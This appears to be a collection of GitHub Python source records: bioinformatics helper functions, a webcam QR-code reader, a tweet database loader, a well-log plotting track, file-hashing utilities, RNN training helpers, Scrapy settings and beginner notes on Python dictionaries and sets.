'LDA']\n classifiers = [KNeighborsClassifier(20, weights='distance', metric='correlation'),\n RandomForestClassifier(n_estimators=200, random_state=802),\n MLPClassifier(random_state=802),\n LinearDiscriminantAnalysis()]\n \n # Split data into training and test subsets\n X_train, X_test, labels_train, labels_test = train_test_split(X_PCA, labels, test_size=0.5, random_state=802)\n \n # Build a dictionary of classifiers\n scores = []\n ClassifierDict={}\n for n,name in enumerate(classifier_names):\n clf_test = classifiers[n].fit(X_train, labels_train)\n score = clf_test.score(X_test, labels_test)\n scores.append(score)\n print(name,round(score,3))\n ClassifierDict[name]=classifiers[n].fit(X_PCA, labels)\n \n # Export classifier dictionary and subspace projection objects\n\n return {'Classes' : np.unique(labels),\n 'Classifiers' : ClassifierDict,\n \t\t'Classifier_Scores' : dict(zip(classifier_names, scores)), \n 'PC_Loadings' : PCs,\n 'Gene_Ind' : gene_ind}\n \n\ndef predict_classes(adata, Classifier): \n '''\n '''\n X = adata.X\n X[np.isnan(X)]=0\n PCs = Classifier['PC_Loadings']\n gene_ind = Classifier['Gene_Ind']\n\n # First check to see if genes match between adata and Classifier \n adata_genes = np.array(adata.var.index) \n classifier_genes = np.array(gene_ind.index)\n if len(classifier_genes)==len(adata_genes):\n if (classifier_genes==adata_genes).all():\n # Subset by gene indices; project X into PCA subspace\n X_ind = X[:,gene_ind]\n PCs_ind = PCs[gene_ind,:]\n X_PCA = np.matmul(X_ind,PCs_ind)\n \n else:\n # Match highly variable classifier genes to adata genes, correcting for case\n adata_genes = np.array([x.upper() for x in adata_genes])\n classifier_genes = np.array([x.upper() for x in np.array(classifier_genes[gene_ind])])\n # Get overlap\n gene_overlap, dataset_ind, classifier_ind = np.intersect1d(adata_genes,classifier_genes,return_indices=True)\n # Subset by gene indices; project X into PCA subspace\n PCs_ind = PCs[gene_ind,:]\n PCs_ind = PCs_ind[classifier_ind,:]\n X_ind = X[:,dataset_ind]\n X_PCA = np.matmul(X_ind,PCs_ind)\n\n # Predict class labels and probabilities for each cell, store results in adata\n for n,name in enumerate(Classifier['Classifiers']):\n adata.obs['pr_'+name] = Classifier['Classifiers'][name].predict(X_PCA)\n if hasattr(Classifier['Classifiers'][name], \"predict_proba\"): \n adata.obsm['proba_'+name] = Classifier['Classifiers'][name].predict_proba(X_PCA)\n\n return adata\n\n\n# CLUSTERING\n \ndef plot_confusion_matrix(labels_A, labels_B,\n normalize=True,\n title=None,\n cmap=plt.cm.Blues,\n overlay_values=False,\n vmin=None,\n vmax=None,\n return_data=False):\n '''\n Plots a confusion matrix comparing two sets labels. \n\n '''\n\n from sklearn.metrics import confusion_matrix\n from sklearn.utils.multiclass import unique_labels\n\n # Compute confusion matrix; \n cm = confusion_matrix(labels_A, labels_B)\n non_empty_rows = cm.sum(axis=0)!=0\n non_empty_cols = cm.sum(axis=1)!=0\n cm = cm[:,non_empty_rows]\n cm = cm[non_empty_cols,:]\n cm = cm.T\n\n # Classes are the unique labels\n classes = np.unique(labels_A.append(labels_B))\n xaxis_labels = classes[non_empty_cols]\n yaxis_labels = classes[non_empty_rows]\n\n # Normalize by rows (label B)\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n\n # Set title, colorbar, and axis names\n if normalize:\n colorbar_label = 'Fraction Overlap'\n if not title:\n title = 'Normalized confusion matrix'\n else:\n colorbar_label = '# Overlaps'\n if not title:\n \ttitle = 'Confusion matrix, without normalization' \n \n if hasattr(labels_A, 'name'):\n labels_A_name = labels_A.name #.capitalize() \t\n else:\n labels_A_name = 'Label A'\n if hasattr(labels_B, 'name'):\n labels_B_name = labels_B.name #.capitalize() \t\n else:\n labels_B_name = 'Label B'\n\n # Generate and format figure axes\n fig, ax = plt.subplots()\n im = ax.imshow(cm, interpolation='nearest', cmap=cmap, vmin=vmin, vmax=vmax)\n\n ax.grid(False)\n ax.set(xticks=np.arange(cm.shape[1]),\n yticks=np.arange(cm.shape[0]),\n xticklabels=xaxis_labels, yticklabels=yaxis_labels,\n title=title,\n ylabel=labels_B_name,\n xlabel=labels_A_name)\n\n # Format tick labels\n plt.setp(ax.get_xticklabels(), rotation=90, ha=\"right\", va='top',\n rotation_mode='anchor',fontsize=10)\n plt.setp(ax.get_yticklabels(), fontsize=10)\n\n # Format colorbar\n cb=ax.figure.colorbar(im, ax=ax, shrink=0.5)\n cb.ax.tick_params(labelsize=10) \n cb.ax.set_ylabel(colorbar_label, rotation=90)\n \n # Loop over data dimensions and create text annotations\n if overlay_values:\n fmt = '.1f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i in range(cm.shape[0]):\n for j in range(cm.shape[1]):\n ax.text(j, i, format(cm[i, j], fmt),\n ha=\"center\", va=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\",\n size=8)\n ax.set_aspect('equal') \n \n if return_data:\n return fig, ax, cm, xaxis_labels, yaxis_labels \n else:\n return fig, ax \n\n\n# DIFFERENTIAL EXPRESSION\n\ndef get_dynamic_genes(adata, sliding_window=100, fdr_alpha = 0.05):\n\n # Input an AnnData object that has already been subsetted to cells and genes of interest.\n # Cells are ranked by dpt pseudotime. Genes are tested for significant differential expression \n # between two sliding windows corresponding the highest and lowest average expression. FDR values\n # are then calculated by thresholding p-values calculated from randomized data.\n # Returns a copy of adata with the following fields added: \n # adata.var['dyn_peak_cell']: pseudotime-ordered cell with the highest mean expression\n # adata.var['dyn_fdr']: fdr-corrected p-value for differential expression\n # adata.var['dyn_fdr_flag']: boolean flag, true if fdr <= fdr_alpha\n\n import scipy.stats\n\n # Function for calculating p-values for each gene from min & max sliding window expression values\n def get_slidingwind_pv(X, sliding_window):\n # construct a series of sliding windows over the cells in X\n wind=[]\n nCells = X.shape[0]\n for k in range(nCells-sliding_window+1): \n wind.append(list(range(k, k+sliding_window)))\n # calculate p-values on the sliding windows\n pv = []\n max_cell_this_gene = []\n nGenes = X.shape[1]\n for j in range(nGenes):\n tmp_X_avg = []\n # get mean expression of gene j in each sliding window k\n for k in range(len(wind)-1): \n tmp_X_avg.append(np.mean(X[wind[k],j]))\n # determine min and max sliding windows for this gene\n max_wind = np.argmax(tmp_X_avg)\n min_wind = np.argmin(tmp_X_avg)\n # determine if this gene displays significant differential expression\n _,p=scipy.stats.ttest_ind(X[wind[max_wind],j],X[wind[min_wind],j])\n pv.append(p[0])\n max_cell_this_gene.append(max_wind)\n return np.array(pv), np.array(max_cell_this_gene)\n\n # import counts and pseudotime from the AnnData object\n nCells = adata.shape[0]\n nGenes = adata.shape[1]\n cell_order = np.argsort(adata.obs['dpt_pseudotime'])\n if scipy.sparse.issparse(adata.X):\n X = adata.X[cell_order,:].todense()\n else:\n X = adata.X[cell_order,:]\n\n # calculate p values on the pseudotime-ordered data\n pv, peak_cell = get_slidingwind_pv(X, sliding_window)\n adata.var['dyn_peak_cell'] = peak_cell#np.argsort(gene_ord)\n print('done calculating p-values')\n \n # calculate p values on the randomized data\n np.random.seed(802)\n X_rand = X[np.random.permutation(cell_order),:]\n pv_rand, _ = get_slidingwind_pv(X_rand, sliding_window)\n print('done calculating randomized p-values')\n\n # calculate fdr as the fraction of randomized p-values that exceed this p-value\n fdr = []\n fdr_flag = []\n for j in range(nGenes):\n fdr.append(sum(pv_rand <= pv[j])/nGenes)\n fdr_flag.append(fdr[j] <= fdr_alpha)\n adata.var['dyn_fdr'] = fdr\n adata.var['dyn_fdr_flag'] = fdr_flag\n print('done calculating fdr')\n\n return adata\n\n \n# PLOTTING\n\ndef format_axes(eq_aspect='all', rm_colorbar=False):\n '''\n Gets axes from the current figure and applies custom formatting options\n In general, each parameter is a list of axis indices (e.g. [0,1,2]) that will be modified\n Colorbar is assumed to be the last set of axes\n '''\n \n # get axes from current figure\n ax = plt.gcf().axes\n\n # format axes aspect ratio\n if eq_aspect is not 'all':\n for j in eq_aspect:\n ax[j].set_aspect('equal') \n else:\n for j in range(len(ax)):\n ax[j].set_aspect('equal') \n\n # remove colorbar\n if rm_colorbar:\n j=len(ax)-1\n if j>0:\n ax[j].remove()\n\n# SCANPY \n# score_genes function with random_state behavior fixed\n\ndef score_genes(\n adata,\n gene_list,\n ctrl_size=50,\n gene_pool=None,\n n_bins=25,\n score_name='score',\n random_state=0,\n copy=False,\n use_raw=False): \n adata = adata.copy() if copy else adata\n\n np.random.seed(random_state)\n\n gene_list_in_var = []\n var_names = adata.raw.var_names if use_raw else adata.var_names\n for gene in gene_list:\n if gene in var_names:\n gene_list_in_var.append(gene)\n gene_list = set(gene_list_in_var[:])\n\n if not gene_pool:\n gene_pool = list(var_names)\n else:\n gene_pool = [x for x in gene_pool if x in var_names]\n\n _adata = adata.raw if use_raw else adata\n if scipy.sparse.issparse(_adata.X):\n obs_avg = pd.Series(\n np.nanmean(\n _adata[:, gene_pool].X.toarray(), axis=0), index=gene_pool) # average expression of genes\n else:\n obs_avg = pd.Series(\n np.nanmean(_adata[:, gene_pool].X, axis=0), index=gene_pool) # average expression of genes\n\n obs_avg = obs_avg[np.isfinite(obs_avg)] # Sometimes (and I don't know how) missing data may be there, with nansfor\n\n n_items = int(np.round(len(obs_avg) / (n_bins - 1)))\n obs_cut = obs_avg.rank(method='min') // n_items\n control_genes = set()\n\n # now pick `ctrl_size` genes from every cut\n for cut in np.unique(obs_cut.loc[gene_list]):\n r_genes = np.array(obs_cut[obs_cut == cut].index)\n np.random.shuffle(r_genes)\n control_genes.update(set(r_genes[:ctrl_size])) # uses full r_genes if ctrl_size > len(r_genes)\n\n # To index, we need a list - indexing implies an order.\n control_genes = list(control_genes - gene_list)\n gene_list = list(gene_list)\n\n\n X_list = _adata[:, gene_list].X\n if scipy.sparse.issparse(X_list): X_list = X_list.toarray()\n X_control = _adata[:, control_genes].X\n if scipy.sparse.issparse(X_control): X_control = X_control.toarray()\n X_control = np.nanmean(X_control, axis=1)\n\n if len(gene_list) == 0:\n return adata if copy else None\n elif len(gene_list) == 1:\n score = _adata[:, gene_list].X - X_control\n else:\n score = np.nanmean(X_list, axis=1) - X_control\n\n adata.obs[score_name] = pd.Series(np.array(score).ravel(), index=adata.obs_names)\n\n return adata if copy else None\n\n","repo_name":"wagnerde/Diaz2019","sub_path":"helper_functions_dew.py","file_name":"helper_functions_dew.py","file_ext":"py","file_size_in_byte":24869,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"9015493834","text":"#!/usr/bin/env python3\nfrom pyzbar.pyzbar import decode\nimport cv2\nimport numpy as np\n \ncap = cv2.VideoCapture(0)\n\ndef get_qr_code(inframe):\n try:\n return(decode(inframe))\n except:\n return([])\n\ndef draw_polygon(inframe,qrobj):\n if len(qrobj) == 0:\n return inframe\n else:\n for obj in qrobj:\n url = obj.data.decode('utf-8')\n pts = obj.polygon\n pts = np.array([pts],np.int32)\n pts = pts.reshape((4,1,2))\n cv2.polylines(inframe,[pts],True,(255,0,255),2)\n cv2.putText(inframe,url,(50,50),cv2.FONT_HERHEY_PLAIN,1.5,(255,0,0),1.5)\n return inframe\n \n\n\nwhile True:\n\n dic = {\" Pink Cuboid\" : 2 , \"Orange Cone\" : 1, \"Blue Cylinder\" : 3}\n print(dic[\"Pink Cuboid\"])\n frame = cap.read()\n qr = get_qr_code(frame)\n nframe = draw_polygon(frame,qr)\n cv2.imshow(\"prachit\",nframe)\n k = cv2.waitKey(0)\n if k == ord(\"z\"):\n cv2.destroyAllWindows()\n \n","repo_name":"prachitgupta/Image-processing","sub_path":"pyzbar.py","file_name":"pyzbar.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35121002483","text":"from config import *\nfrom sqlalchemy import create_engine\nfrom datetime import datetime\nfrom sqlalchemy.orm import sessionmaker\nfrom contextlib import contextmanager\nimport json\nfrom sqlalchemy import update\nimport math\n\n\"\"\"\nThe TweetLoader class takes care of transforming the fields from a response\nto adhere to the data schema represented by the Tweet class.\nIt uses sqlAlchemy to load the tweets to a DB.\n\"\"\"\n\n\nclass DataLoader():\n\n # CONSTRUCTOR\n def __init__(self, database_url):\n\n # INSTANCE VARIABLES\n\n # an engine to communicate with PostgreSQL\n self.engine = create_engine(database_url)\n\n # a Session object to manage connections (session starts)\n self.Session = sessionmaker(bind=self.engine)\n\n ### METHODS ###\n\n # START LOAD\n \"\"\"\n WE WANT TO UPDATE COLUMN VALUES BASED\n ON TWEET_ID OR ID OF THE DATAFRAME\n \"\"\"\n # 1.\n\n def inspect(self, model):\n\n with self.session_scope() as s:\n\n for row in s.query(model).all():\n\n print(\"ROW; \", row)\n\n def update_by_tweetID(self, model, row):\n\n tweet_ID = str(row['tweet_id'])\n cluster_id = row['cluster']\n\n # connect to DB with session\n with self.session_scope() as s:\n\n \"\"\"\n for row in s.query(model).filter(model.tweet_id == tweet_ID).all():\n\n print(f\"ROW with {tweet_ID}\", row)\n \"\"\"\n s.query(model).filter(model.tweet_id == tweet_ID).update(\n {model.stdbscan_5000_4320_5: cluster_id})\n\n print('Updated tweet with ID{tweet_ID}!')\n\n def update_by_fishnetID(self, model, row):\n\n spat_temp_ID = str(row['spat_temp_id_str'])\n sig_words_dict = row['sig_words_dict']\n\n # connect to DB with session\n with self.session_scope() as s:\n\n \"\"\"\n for row in s.query(model).filter(model.tweet_id == tweet_ID).all():\n\n print(f\"ROW with {tweet_ID}\", row)\n \"\"\"\n s.query(model).filter(model.spat_temp_id_str == spat_temp_ID).update(\n {model.tfidf_bigrams_textcat: sig_words_dict})\n\n print(f'Updated tweet with ID{spat_temp_ID}!')\n\n def update_by_spattempID(self, model, row):\n\n spat_temp_ID = str(row['spat_temp_id_str'])\n sig_words_dict = row['sig_words_dict']\n\n # connect to DB with session\n with self.session_scope() as s:\n\n \"\"\"\n for row in s.query(model).filter(model.tweet_id == tweet_ID).all():\n\n print(f\"ROW with {tweet_ID}\", row)\n \"\"\"\n s.query(model).filter(model.spat_temp_id_str == spat_temp_ID).update(\n {model.tfidf_bigrams: sig_words_dict})\n\n print(f'Updated tweet with ID{spat_temp_ID}!')\n\n def update_textclassifier_tweetID(self, model, row):\n\n tweet_ID = str(row['tweet_id'])\n prediction = row['predictionJSON']\n\n # connect to DB with session\n with self.session_scope() as s:\n\n \"\"\"\n for row in s.query(model).filter(model.tweet_id == tweet_ID).all():\n\n print(f\"ROW with {tweet_ID}\", row)\n \"\"\"\n s.query(model).filter(model.tweet_id == tweet_ID).update(\n {model.classified_bow: prediction})\n\n print('Updated tweet with ID{tweet_ID}!')\n\n def update_fastcluster_tweetID(self, model, row):\n\n tweet_ID = str(row['tweet_id'])\n clusterID = row['cluster']\n\n print(\"type: \", type(clusterID))\n\n if math.isnan(clusterID):\n\n print('Cluster ID {tweet_ID} is NONE!')\n\n else:\n\n # connect to DB with session\n with self.session_scope() as s:\n\n \"\"\"\n for row in s.query(model).filter(model.tweet_id == tweet_ID).all():\n\n print(f\"ROW with {tweet_ID}\", row)\n \"\"\"\n s.query(model).filter(model.tweet_id == tweet_ID).update(\n {model.fastcluster_id_07: clusterID})\n\n print('Updated tweet with ID{tweet_ID}!')\n\n def update_by_stdbscanID(self, model, row):\n\n stdbscan_ID = row['stdbscan_id']\n sig_words_dict = row['sig_words_dict']\n\n # connect to DB with session\n with self.session_scope() as s:\n\n s.query(model).filter(model.stdbscan_id == stdbscan_ID).update(\n {model.tfidf_unigrams: sig_words_dict})\n\n print(f'Updated stdbscan cluster with ID{stdbscan_ID}!')\n\n def update_cont_emb(self, model, row):\n \n tweet_ID = row['tweet_id']\n contextual_embedding_classification = row['classified_march']\n\n # connect to DB with session\n with self.session_scope() as s:\n\n s.query(model).filter(model.tweet_id == tweet_ID).update(\n {model.classified_march: contextual_embedding_classification})\n\n print(f'Updated tweet ID{tweet_ID}!')\n\n # TRANSFORM AND LOAD\n # 2.\n\n def update_all(self, dataframe, model):\n\n # take each row\n for index, row in dataframe.iterrows():\n\n # call relevant update function\n self.update_cont_emb(model, row)\n\n @ contextmanager\n def session_scope(self):\n\n # local scope creates and uses a session\n session = self.Session() # invokes sessionmaker.__call__()\n\n try:\n yield session\n session.commit()\n except Exception:\n session.rollback()\n raise\n finally:\n session.close()\n","repo_name":"DavidRimar/Twitter_SpatiotemporalSemanticAnalysis","sub_path":"DataLoader.py","file_name":"DataLoader.py","file_ext":"py","file_size_in_byte":5528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34021491726","text":"import matplotlib.pyplot as plt\nimport matplotlib as mpl \nimport pandas as pd\nimport numpy as np\nfrom typing import Union, Tuple, Dict\nfrom pydantic import validate_arguments\nfrom .utils import formations_plot, perforations_plot, correlations_plot\n\n@validate_arguments(config=dict(arbitrary_types_allowed=True))\ndef oilshowtrack(\n df: pd.DataFrame,\n oilshow: Union[str,list] = None, \n ylims: Tuple[float,float] = None,\n xlims: Tuple[float,float] = (0,1),\n dtick: bool = False,\n fill: bool = True, \n ax=None,\n formations: pd.DataFrame = None,\n units: pd.DataFrame = None,\n perforations: pd.DataFrame = None,\n correlations: pd.DataFrame = None,\n formations_kw:Dict={},\n units_kw:Dict={},\n perforations_kw:Dict={},\n correlations_kw:Dict={},\n fontsize=8,\n grid_numbers : list = [11,51],\n steps: list = None,\n oilshow_colormap: str='summer',\n show_kw={},\n fill_kw={},\n depth_ref:str='md'\n):\n list_axes = []\n oax=ax or plt.gca()\n \n defkwa = {\n 'color': 'black',\n 'linestyle':'-',\n 'linewidth': 1\n }\n \n for (k,v) in defkwa.items():\n if k not in show_kw:\n show_kw[k]=v\n \n\n def_fill_kw = {\n 'color': 'darkgreen',\n } \n for (k,v) in def_fill_kw.items():\n if k not in fill_kw:\n fill_kw[k]=v\n\n depth = df.index if depth_ref=='md' else df[depth_ref]\n if oilshow is not None:\n if isinstance(oilshow,str):\n oax.plot(df[oilshow],depth,**show_kw) #Plotting\n elif isinstance(oilshow,list):\n cmap = mpl.cm.get_cmap(oilshow_colormap,len(oilshow))\n for i,g in enumerate(oilshow):\n show_kw['color']=cmap(i)\n oax.plot(df[g],depth,**show_kw)\n \n if ylims==None: #Depth Limits\n ylims=[depth.min(),depth.max()]\n\n oax.set_ylim([ylims[1],ylims[0]])\n\n #Set the vertical grid spacing\n if steps is None:\n mayor_grid = np.linspace(ylims[0],ylims[1],grid_numbers[0])\n minor_grid = np.linspace(ylims[0],ylims[1],grid_numbers[1])\n else:\n mayor_grid = np.arange(ylims[0],ylims[1],steps[0])\n minor_grid = np.arange(ylims[0],ylims[1],steps[1])\n \n oax.set_xlim(list(xlims))\n oax.set_xlabel(\"OilShow\")\n oax.set_xticks(np.linspace(0,1,4))\n oax.set_xticklabels(np.round(np.linspace(0,1,4),decimals=2))\n oax.xaxis.tick_top()\n oax.xaxis.set_label_position(\"top\")\n oax.tick_params(\"both\",labelsize=fontsize)\n oax.set_yticks(mayor_grid)\n oax.set_yticks(minor_grid,minor=True) \n if dtick==True:\n oax.set_yticklabels(mayor_grid,11)\n else:\n oax.set_yticklabels([])\n\n if fill==True and isinstance(oilshow,str):\n oax.fill_betweenx(depth,0,df[oilshow],**fill_kw)\n \n \n #Add formations tops\n if formations is not None:\n oax = formations_plot(\n formations,\n depth_ref,\n ylims,\n xlims,\n oax,\n config=formations_kw\n )\n\n # #Add units tops\n if units is not None:\n oax = formations_plot(\n units,\n depth_ref,\n ylims,\n xlims,\n oax,\n config=units_kw\n )\n\n # #Add Interval Perforated\n if perforations is not None:\n oax = perforations_plot(\n perforations,\n depth_ref,\n ylims,\n xlims,\n oax,\n config=perforations_kw\n )\n \n if correlations is not None:\n oax = correlations_plot(\n correlations,\n depth_ref,\n ylims,\n xlims,\n oax,\n config=correlations_kw\n )\n \n \n list_axes.append(oax)\n \n return list_axes\n ","repo_name":"scuervo91/fieldspy","sub_path":"fieldspy/petrophysics/tracks/oilshowtrack.py","file_name":"oilshowtrack.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"3944206456","text":"#!/usr/bin/env python3\n\n\"\"\" Utility functions to assist the dupemgr app \"\"\"\n\nimport hashlib\n\nimport nodes\n\n\ndef short_hash(hash, chars=11):\n \"\"\"Return the first and last few characters of the hash as a string for approximate visual comparison\"\"\"\n ch_ea = int((chars - 3) / 2)\n if hash is None:\n return (\"0\" * ch_ea) + \"...\" + (\"0\" * ch_ea)\n return hash[:ch_ea] + \"...\" + hash[(-1 * ch_ea):]\n\n\ndef hash256(the_file, blocksize=32768, force=False):\n \"\"\"Return the sha256 hash of the file provided.\"\"\"\n if not force and the_file.sha256 is not None:\n # If we already have a hash, use it.\n return the_file.sha256\n # We only do the expensive job of hashing if it doesn't exist, or we're asked to force it.\n try:\n with open(the_file.full_path, 'rb') as f:\n hasher = hashlib.sha256()\n while True:\n buf = f.read(blocksize)\n if not buf:\n break\n hasher.update(buf)\n except:\n return None\n return hasher.hexdigest()\n\n\ndef size_str(num):\n \"\"\"Stringify a file size in human-friendly terms.\"\"\"\n if num > 2 ** 30:\n return \"%0.2fGB\" % (num / 2 ** 30)\n elif num > 2 ** 20:\n return \"%0.2fMB\" % (num / 2 ** 20)\n elif num > 2 ** 10:\n return \"%0.2fkB\" % (num / 2 ** 10)\n else:\n return \"%d bytes\" % num\n\n\ndef time_str(num):\n \"\"\"Stringify a number of seconds in human-friendly terms.\"\"\"\n if num > 3600:\n return \"%0.2f hrs\" % (num / 3600)\n elif num > 60:\n return \"%0.2f mins\" % (num / 60)\n else:\n return \"%d seconds\" % num\n","repo_name":"mfschmidt/dupemgr","sub_path":"localutils.py","file_name":"localutils.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40972946687","text":"from random import choice, randint\r\n\"\"\"\r\nlista = [\r\n {\r\n 'sexo' = 'M' | 'F',\r\n 'olhos' = 'A' | 'C',\r\n 'cabelo' = 'L' | 'P' | 'C'\r\n 'idade' = 0 | 100\r\n },\r\n \r\n]\r\n\"\"\"\r\ndef mostrar_dados(*args):\r\n for i in args:\r\n print(i)\r\n \r\n\r\ndef maior_idade(*args):\r\n maior = 0\r\n for i in args:\r\n if maior < i.get('idade'):\r\n maior = i.get('idade')\r\n return maior\r\n\r\n\r\ndef idade_media_olhos(*args):\r\n idade_soma = 0\r\n count = 0\r\n for i in args:\r\n if i.get('olho') == 'C' and i.get('cabelo') == 'P':\r\n idade_soma += i.get('idade')\r\n count += 1\r\n if count == 0:\r\n count = 1\r\n return idade_soma / count\r\n\r\ndef feminino_azuis_louros(*args):\r\n qtd = 0\r\n for i in args:\r\n if (i['sexo'] == 'F') and (i['idade'] >= 18 and i['idade'] <= 35) \\\r\n and (i['olho'] == 'A' and i['cabelo'] == 'L'):\r\n qtd += 1\r\n return qtd\r\n \r\n\r\nlista = [\r\n {\r\n 'sexo': choice('MF'),\r\n 'olho': choice('AC'),\r\n 'cabelo': choice('LPC'),\r\n 'idade': randint(0, 100)\r\n } for i in range(30)\r\n]\r\n\r\n# mostrar_dados(*lista)\r\n\r\nprint(f'Idade media das pessoas com olhos castanhos e cabelo preto: {idade_media_olhos(*lista):.0f}')\r\nprint(f'Maior idade entre os habitantes: {maior_idade(*lista)}')\r\nprint(f'Mulheres entre 18 a 35 com olhos azuis e cabelhos louros: {feminino_azuis_louros(*lista)}')","repo_name":"CleitonSilvaPaes/geek_university_exercicio","sub_path":"Secao08/73.py","file_name":"73.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25199139079","text":"BOT_NAME = 'kfwde'\nSPIDER_MODULES = ['kfwde.spiders']\nNEWSPIDER_MODULE = 'kfwde.spiders'\nUSER_AGENT = 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0',\nITEM_PIPELINES = {\n 'kfwde.pipelines.DatabasePipeline': 300,\n}\nFEED_EXPORT_ENCODING = 'utf-8'\nROBOTSTXT_OBEY = True\n\nLOG_LEVEL = 'WARNING'\n\n# LOG_LEVEL = 'DEBUG'\n","repo_name":"daniel-kanchev/kfwde","sub_path":"kfwde/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12564424280","text":"import argparse\n\nfrom torch.nn import CrossEntropyLoss\n\nfrom data.special_tokens import *\nimport random\nimport torch\nimport numpy as np\n\n\ndef str2bool(v):\n if isinstance(v, bool):\n return v\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\n\ndef get_kl_loss(mu, logvar):\n kl_loss = (-0.5 * (1 + logvar - mu.pow(2) - logvar.exp())).mean()\n return kl_loss\n\n\ndef reparameterize(mu, logvar, sample=True):\n if sample:\n std = logvar.mul(0.5).exp_()\n eps = std.data.new(std.size()).normal_()\n return eps.mul(std).add_(mu)\n else:\n return mu\n\n\ndef calc_loss(model_output, target, source, loss_multipliers):\n cross_entropy = CrossEntropyLoss(ignore_index=PAD_IDX)\n\n target_out = target[:, 1:] # shift back\n if isinstance(model_output, tuple):\n proto_logits, daughter_logits, mu, logvar, sampled_daughters = model_output\n source_out = source[range(source.shape[0]), sampled_daughters, 1:] # shift back\n else:\n proto_logits = model_output\n daughter_logits, mu, logvar = None, None, None\n\n proto_recon_loss = cross_entropy(proto_logits.reshape((-1, proto_logits.shape[-1])),\n target_out.reshape(-1)) * loss_multipliers['proto_recon']\n\n dtr_recon_loss, kl_loss = 0, 0\n if daughter_logits is not None:\n dtr_recon_loss = cross_entropy(daughter_logits.reshape((-1, daughter_logits.shape[-1])),\n source_out.reshape(-1)) * loss_multipliers['daughter_recon']\n kl_loss = get_kl_loss(mu, logvar) * loss_multipliers['kl']\n\n return proto_recon_loss, dtr_recon_loss, kl_loss\n\n\ndef get_edit_distance(s1, s2):\n # source: https://github.com/shauli-ravfogel/Latin_reconstruction\n if type(s1) == str and type(s2) == str:\n s1 = s1.replace(\"<\", \"\").replace(\">\", \"\")\n s2 = s2.replace(\"<\", \"\").replace(\">\", \"\")\n\n if len(s1) > len(s2):\n s1, s2 = s2, s1\n\n distances = range(len(s1) + 1)\n for i2, c2 in enumerate(s2):\n distances_ = [i2+1]\n for i1, c1 in enumerate(s1):\n if c1 == c2:\n distances_.append(distances[i1])\n else:\n distances_.append(1 + min((distances[i1], distances[i1 + 1], distances_[-1])))\n distances = distances_\n return distances[-1]\n\n# source: https://github.com/neubig/minbert-assignment/blob/main/classifier.py\ndef seed_everything(seed=12345):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n","repo_name":"cmu-llab/acl-2023","sub_path":"rnn/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"23557768479","text":"# ''' DICTIONARY '''\r\n# ''' DICTIONARY '''\r\n# ''' DICTIONARY '''\r\n\r\n# ''' Dictionary Syntax '''\r\n\r\nmyDict = {\r\n \"Fast\": \"In a quick manner\",\r\n \"Harry\": \"A coder\",\r\n \"Marks\": [1, 2, 3],\r\n \"SecondDict\": {'value': 'Fruit'}, # You can have a Dictionary inside a Dictionary.\r\n 1: 3\r\n}\r\n\r\nprint(myDict['Fast'])\r\nprint(myDict['Marks'])\r\nprint(myDict['Harry'])\r\nprint(myDict['SecondDict']['value']) # Here's how to print\r\n\r\nmyDict['Harry'] = ['harry'] # We can manipulate the dictionary.\r\nv = {} # An Empty Dictionary\r\nprint(type(v)) # Returns Dictionary\r\n# ''' Dictionary Methods '''\r\n\r\nprint(myDict.keys()) # Used to print the keys inside the dictionary\r\nprint(type(myDict.keys())) # Returns \r\nprint(myDict.values()) # Prints the values the of the keys in the dictionary.\r\nprint(myDict.items()) # Prints the (key:value) pairs of the list.\r\nupdateDict = {\r\n \"Red\": \"Tomato\",\r\n \"Blue\": \"Sky\",\r\n \"Harry\": \"A Singer\"\r\n}\r\nmyDict.update(updateDict) # updates myDict by adding key:value pairs from updateDict\r\nprint(myDict)\r\nprint(myDict.get(\"harry2\")) # Prints the value of harry2 if present in the dictionary\r\n''' print(myDict[\"harry2\"]) ''' # Prints the value of harry2 from the dictionary\r\n\r\n# Difference between .get and [] syntax\r\nprint(myDict.get(\"harry2\")) # Returns NONE as harry2 is not in the dictionary\r\n'''print(myDict[\"harry2\"])''' # throws error as harry2 is not in the dictionary\r\n\r\n# ''' SETS '''\r\n# ''' SETS '''\r\n# ''' SETS '''\r\n\r\nz = {1, 2, 4, 5, 4} # Set is a Collection of Non-repetitive values. Hence, 4 will be printed only one time.\r\nprint(z)\r\nt = set() # Empty Set\r\nprint(type(t))\r\n\r\n# ''' Set Methods '''\r\n\r\nt.add(4) # Adding values in the Set\r\nt.add(6)\r\nt.add(6)\r\nt.add(4)\r\nprint(t) # Set strictly prohibits repetitive words\r\n\r\n'''t.add([2, 3, 7])''' # We can't add LIST in the Set.\r\nt.add((1, 2, 7)) # We can add TUPLE in the Set.\r\n'''t.add({1: 3})''' # We can't add a Dictionary in the Set.\r\nprint(t)\r\n\r\n# Sets are unordered # Element's order doesn't matter.\r\n# Sets are unIndexed # Cannot access elements by Index\r\n# There is no way to change items in Sets.\r\n# Sets cannot contain duplicate 